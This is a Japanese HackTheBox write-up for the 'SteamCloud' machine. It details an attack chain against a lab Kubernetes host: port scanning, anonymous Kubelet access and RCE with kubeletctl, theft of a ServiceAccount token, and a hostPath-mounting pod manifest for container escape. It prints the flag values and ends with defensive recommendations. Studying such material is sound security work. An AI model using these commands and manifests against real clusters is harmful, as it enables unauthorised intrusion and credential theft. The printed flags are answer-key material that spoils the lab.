HackTheBox: SteamCloud — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/2380/8443/10249/10250/10256
→
22/80/2380/8443/10249/10250/10256
Kubelet API (10250)
認証なしでPod一覧取得
→
認証なしでPod一覧取得
kubeletctl exec
nginx PodへRCE
→
nginx PodへRCE
ServiceAccountトークン窃取
default:default
→
default:default
kubectl auth can-i –list
pods: get/create/list
→
pods: get/create/list
悪意あるPod作成
hostPath: / を /root にマウント
→
hostPath: / を /root にマウント
kubeletctl exec で / を直接読取
user.txt + root.txt ✓
user.txt + root.txt ✓
PHASE 1
偵察 (Reconnaissance)
全ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.96.167
RESULT
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 2380/tcp open etcd-server 8443/tcp open https-alt 10249/tcp open unknown 10250/tcp open unknown 10256/tcp open unknown
🚨
2380・8443・10249・10250・10256 という組み合わせは Kubernetes クラスタの典型的なポート群
(etcd / kube-apiserver / kube-controller-manager・kube-scheduler系メトリクス / Kubelet API /
kube-proxyヘルスチェック)。このマシンの本体はKubernetes(minikube)そのもの。
バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 22,80,2380,8443,10249,10250,10256 10.129.96.167
RESULT(抜粋)
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 80/tcp open http nginx 1.14.2 2380/tcp open ssl/etcd-server? | ssl-cert: Subject: commonName=steamcloud 8443/tcp open ssl/http Golang net/http server | ssl-cert: Subject: commonName=minikube/organizationName=system:masters | Subject Alternative Name: DNS:kubernetes.default.svc.cluster.local, ... | {"kind":"Status",...,"message":"forbidden: User \"system:anonymous\" cannot get path \"/\"","reason":"Forbidden","code":403} 10250/tcp open ssl/http Golang net/http server | ssl-cert: Subject: commonName=steamcloud@...
ℹ️
ポート8443(kube-apiserver)は匿名ユーザー(
system:anonymous)からのアクセスを
Forbiddenで拒否している=RBAC自体は機能している。一方
ポート10250(Kubelet API)は別の匿名アクセス許可設定になっていないか確認する必要がある。
PHASE 2
Kubelet API 匿名アクセス — Pod一覧の取得とRCE
kubeletctl のセットアップ
BASH
curl -sL https://github.com/cyberark/kubeletctl/releases/download/v1.9/kubeletctl_linux_amd64 \ -o /usr/local/bin/kubeletctl && chmod +x /usr/local/bin/kubeletctl
ℹ️
kubeletctl はKubeletの読み取り専用ポート(10255)や、認証を要求しないよう誤設定された
ポート10250に対して、匿名でPod一覧取得・コンテナへのコマンド実行(RCE)を行うための専用ツール。
認証なしでPod一覧を取得
BASH
kubeletctl --server 10.129.96.167 pods
RESULT
┌───┬────────────────────────────┬─────────────┬────────────────┐ │ │ POD │ NAMESPACE │ CONTAINERS │ ├───┼────────────────────────────┼─────────────┼────────────────┤ │ 1 │ etcd-steamcloud │ kube-system │ etcd │ │ 2 │ kube-apiserver-steamcloud │ kube-system │ kube-apiserver │ │ 3 │ coredns-78fcd69978-46hsn │ kube-system │ coredns │ │ 4 │ kube-proxy-fvvnh │ kube-system │ kube-proxy │ │ 5 │ nginx │ default │ nginx │ │ 6 │ kube-controller-manager-... │ kube-system │ ... │ │ 7 │ kube-scheduler-steamcloud │ kube-system │ ... │ │ 8 │ storage-provisioner │ kube-system │ ... │ └───┴────────────────────────────┴─────────────┴────────────────┘
🚨
Kubelet (10250) が未認証アクセスを許可している(
--anonymous-auth=true かつ
--authorization-mode=AlwaysAllow 相当の誤設定)。kube-system名前空間の
制御プレーンPod群に加え、default名前空間に通常のアプリPod nginx が存在する。
RCE可能なPodをスキャン
BASH
kubeletctl --server 10.129.96.167 scan rce
RESULT
│ POD │ NAMESPACE │ CONTAINERS │ RCE │ │ etcd-steamcloud │ kube-system │ etcd │ - │ │ kube-apiserver-... │ kube-system │ ... │ - │ │ nginx │ default │ nginx │ + │ │ kube-proxy-fvvnh │ kube-system │ kube-proxy│ + │
✅
nginx Podが kubeletctl exec によるコマンド実行(RCE)可能と判定された。
制御プレーンの各Pod(etcd, kube-apiserver等)はRCE不可(-)だが、一般アプリPodである
nginx は攻撃者視点で最初の足掛かりとして十分。
PHASE 3
ServiceAccountトークンの窃取 & K8s API権限確認
nginx Pod内のServiceAccountトークンを読み取る
BASH
kubeletctl --server 10.129.96.167 exec \ "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx
RESULT
eyJhbGciOiJSUzI1NiIsImtpZCI6...(JWT本体、"sub":
"system:serviceaccount:default:default" を含む)
ℹ️
TLS検証用のCA証明書も同じ方法でPod内から読み取る。
kubectl からhttps://TARGET:8443
(Kubernetes APIサーバー)へアクセスするために、トークンとCA証明書の両方が必要。
奪取したトークンの権限を確認
BASH
kubectl --token="$(cat sa_token.txt)" --certificate-authority=ca.crt \ --server=https://10.129.96.167:8443 auth can-i --list
RESULT(抜粋)
Resources Verbs
pods [get create list]
🚨
既定の
default ServiceAccount(nginx Podに自動マウントされていた)に
pods: get/create/list 権限が付与されている。
delete権限は無いため既存Podの削除はできないが、
新規Podを自由に作成できる時点で権限昇格に十分な権限が揃っている。
PHASE 4
hostPathマウントによる特権Podの作成
ホストのルートファイルシステムを丸ごとマウントするPod定義
YAML (nginxt.yaml)
apiVersion: v1
kind: Pod
metadata:
name: nginxt
namespace: default
spec:
containers:
- name: nginxt
image: nginx:1.14.2
volumeMounts:
- mountPath: /root
name: mount-root-into-mnt
volumes:
- name: mount-root-into-mnt
hostPath:
path: / # ← ホストの "/" を丸ごとマウント
automountServiceAccountToken: true
hostNetwork: true
🚨
pods: create 権限さえあれば、hostPathボリュームで
ワーカーノード(=このマシン自体)のルートファイルシステム全体をコンテナ内の
任意パスへマウントできてしまう。PodSecurityPolicy/PodSecurityAdmission等で
hostPathを制限していないと、この一発でコンテナエスケープが成立しコンテナの
隔離が無意味になる。
Podを作成し、Running状態になるまで待機
BASH
kubectl --token="$(cat sa_token.txt)" --certificate-authority=ca.crt \ --server=https://10.129.96.167:8443 apply -f nginxt.yaml kubectl --token="$(cat sa_token.txt)" --certificate-authority=ca.crt \ --server=https://10.129.96.167:8443 get pods
RESULT
pod/nginxt created
NAME READY STATUS RESTARTS AGE
nginx 1/1 Running 0 34m
nginxt 1/1 Running 0 16s
ℹ️
Pod作成直後は
ContainerCreating状態のため、数秒〜数十秒ほど待ってから
Runningへ遷移したことを確認する。
⚠️
実機でのハマりポイント:
hostNetwork: true を指定したPodはホストの
ネットワーク名前空間をそのまま使うため、同じノード上で既に別のhostNetwork: trueな
nginxコンテナ(=自分が以前作った悪意あるPod)が稼働中だと、ポート80の競合で新しい方が
CrashLoopBackOffになる。delete権限が無いため掃除もできない。
同名のPodが既にRunningであれば、新しく作り直さずそのまま再利用すればよい。
PHASE 5
ホストファイルシステムから両フラグを直接取得
user.txt取得
BASH
kubeletctl --server 10.129.96.167 exec \ "cat /root/home/user/user.txt" -p nginxt -c nginxt
RESULT
48581ad8000e12d4bdfd56d62007d1e0
user.txt — /home/user (ホスト側)
48581ad8000e12d4bdfd56d62007d1e0
root.txt取得
BASH
kubeletctl --server 10.129.96.167 exec \ "cat /root/root/root.txt" -p nginxt -c nginxt
RESULT
0c4e783fd533106943ec840cf51fe736
✅
コンテナ内の
/root/ はマウントした ホストの / そのものなので、
/root/root/root.txt は実際にはホストの /root/root.txt を指す。
SSHログインすら不要で、Pod作成と kubeletctl exec だけでホストのroot権限と
同等のファイルアクセスを獲得できている。
root.txt — ホストファイルシステム直接読み取り
0c4e783fd533106943ec840cf51fe736
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt
48581ad8000e12d4bdfd56d62007d1e0
root.txt
0c4e783fd533106943ec840cf51fe736
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| Kubelet匿名アクセス | Kubelet API (10250/tcp) | 未認証でのPod一覧取得・コンテナ内コマンド実行(RCE) | Critical | --anonymous-auth/--authorization-modeの誤設定により認証なしでkubeletctl execが成功 |
| デフォルトServiceAccountの過剰権限 | default名前空間のdefault SA |
任意Podの作成(create権限) |
High | nginx Pod内に自動マウントされたトークンでKubernetes APIサーバーへ直接認証 |
| hostPathボリュームによるコンテナエスケープ | Kubernetes Pod仕様(PodSecurity制限なし) | ワーカーノードのルートファイルシステムへの完全アクセス | Critical | hostPath: {path: "/"}を任意コンテナにマウントし実質的にホストroot権限相当のファイルアクセスを獲得 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap全ポートスキャン | Kubernetes特有のポート群(2380/8443/10249/10250/10256)を検出 |
| 2 | Kubelet悪用 | kubeletctl pods / scan rce | default名前空間のnginx PodがRCE可能と判明 |
| 3 | 資格情報窃取 | kubeletctl exec でSAトークン+CA証明書を読取 | Kubernetes API(8443)への認証情報 |
| 4 | 権限昇格(クラスタ内) | kubectl apply で hostPath Pod作成 | ワーカーノードのルートファイルシステムへのアクセス |
| 5 | フラグ取得 | kubeletctl exec で /root 配下を直接cat | user.txt + root.txt(SSH不要) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| Kubelet API (10250) が匿名アクセスを許可している | Kubelet起動オプションで --anonymous-auth=false を設定し、--authorization-mode=Webhook でRBAC連携を有効化する。 |
一般アプリPod(nginx)のデフォルトServiceAccountに不要なpods: create権限が付与されている |
アプリケーションPodには専用の最小権限ServiceAccountを割り当て、不要であればautomountServiceAccountToken: falseでトークン自動マウント自体を無効化する。 |
一般ユーザーが作成するPodの仕様にhostPathボリュームの使用制限が無い |
Pod Security Admission(restrictedプロファイル)やOPA/Gatekeeper等のポリシーエンジンでhostPathボリュームの使用自体を禁止する。 |
| ServiceAccountトークンがコンテナ内に平文ファイルとしてマウントされ、RCEで即座に読み取り可能 | Kubernetes 1.22+のBoundServiceAccountToken(有効期限・Audience制限付き)を活用し、不要なPodへのトークン自動マウントを止める。 |

